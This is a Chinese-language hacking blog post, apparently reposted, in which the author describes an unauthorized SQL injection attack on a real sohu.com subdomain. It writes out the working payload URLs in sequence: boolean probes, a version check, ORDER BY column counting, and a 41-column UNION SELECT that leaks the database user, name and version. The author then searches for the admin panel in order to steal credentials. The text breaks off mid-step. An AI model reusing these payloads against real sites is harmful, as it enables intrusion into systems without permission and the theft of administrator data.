黑客实战：对sohu.com的一次安全检测

sohu.com是国内一家比较大的门户网站，提供了包括邮箱在内的很多服务。这么大的一个网站，不出问题是很难的，俗话说服务越多越不安全嘛！无论是对于服务器还是网站都是这个道理，最近学习Mysql注入，于是顺便就对sohu.com做了一次小小的安全检测，看看它存不存在SQL注入漏洞。

看看sohu.com的主站发现差不多都是静态的，于是放弃了在主站上找问题的想法。直接在sohu.com的各个分站上浏览了一圈后发现，大部分网站采用的都是Php脚本，也有少数用的是jsp脚本，根据经验我们知道，对于Php构建的系统，一般后台数据库都是Mysql，就好象asp对应着Mssql一样，看来可能存在问题的地方还是很多的。由于Php的特性（Php默认将传递的参数中的'等字符做了转换，所以对于字符类型的变量默认情况下很难注入），一般情况下我们注入的只能是数字类型的变量了。根据平时注入的知识，我们知道id=XXX这样的形式传递的参数一般都是数字类型的变量，所以我们只要去测试那些php?id=XXX的连接就可能找到漏洞了！通过一番仔细的搜索，还真让我在XXX.it.sohu.com上找到了一个存在问题的连接http://XXX.it.sohu.com/book/serialize.php?id=86

提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=1/*

然后提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2/*

空空的吧，应该是SQL语句结果为空了。

通过这两个Url我们可以猜测漏洞是存在的，因为我们提交的and 1=1和and 1=2都被当作Sql语句执行啦！那么我们提交的其他语句也是可以执行的，这就是Sql注入了！我们还可以知道id这个变量是被当作数字处理的，没有放到''之间，否则我们是成功不了的哦！如果变量没有过滤Sql其他关键字的话，我们就很有可能成功啦！我遇到很多的情况都是变量过滤了select，在mysql里就是死路了，好郁闷！

既然漏洞是存在的，让我们继续吧！首先当然是探测数据库的类型和连接数据库的帐户啦！权限高并且数据库和web同机器的话可以免除猜测字段的痛苦啦！提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 and ord(mid(version(),1,1))>51/*

这个语句是看数据库的版本是不是高于3的，因为3的ASCII是51嘛！版本的第一个字符是大于51的话当然就是4.0以上啦！4.0以上是支持union查询的，这样就可以免除一位一位猜测的痛苦哦！这里结果为真，所以数据库是4.0以上的哦，可以支持union了。

既然支持union查询就先把这个语句的字段给暴出来吧！以后再用union查询什么都是很快的哦！提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 10/*

看来字段是大于10个的，继续提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 20/*

正常返回，提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 30/*

......

到order by 50的时候返回没有信息了！看来是大于40的小于50的，于是提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 order by 45/*

......

终于猜测到字段是41左右啦！这里说是左右是因为有些字段是不能排序的，所以还需要我们用union精确定位字段数字是41，提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

哈哈，成功了哦！哪些字段会在页面显示也是一目了然了！现在让我们继续吧！提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 and 1=2 union select 1,user(),3,4,database(),6,7,8,9,10,version(),12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41/*

完成了数据库系统的探测哦！我们很有可能不是root，并且数据库服务器和web也很有可能不是在一台服务器，这样的话我们就没有file权限了！提交：

http://XXX.it.sohu.com/book/serialize.php?id=86 and (select count(*) from mysql.user)>0/*

没有对mysql的读取权限，更加确定权限不是root了！呵呵！

既然不是root，也不要气馁，让我们继续吧！在进一步猜测数据之前我们最好找下后台先，很多时候找到了管理员密码却找不到地方登陆，很郁闷的说！在根目录下加/admin和/manage/等等后台常用的地址都是返回404错误，猜测了几次终于在/book/目录下admin的时候出现了403 Forbiden错误，哈哈，是存在这个目录的！但是登陆页面死活也猜不出来，郁闷中！不过既然知道有个admin也好说，去Google里搜索：

admin site:sohu.com

得到了另外一个分站的论坛，我们知道人是很懒惰的，通常一个地方的后台的特征就很可能是整个网站的特征，所以当我尝试访问/book/admin/admuser.php的时候奇迹出现了，哈哈，离成功更近了哦！到这里我们知道了网站的后台，其实我们还可以得到很重要的信息，查看原文件发现登陆表单的名字是name和password，很容易推测出对方管理员表中的结构，即使不符合估计也差不多，呵呵！所以知道为什么我们要先猜测后台了吧！继续注入吧！提交：

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有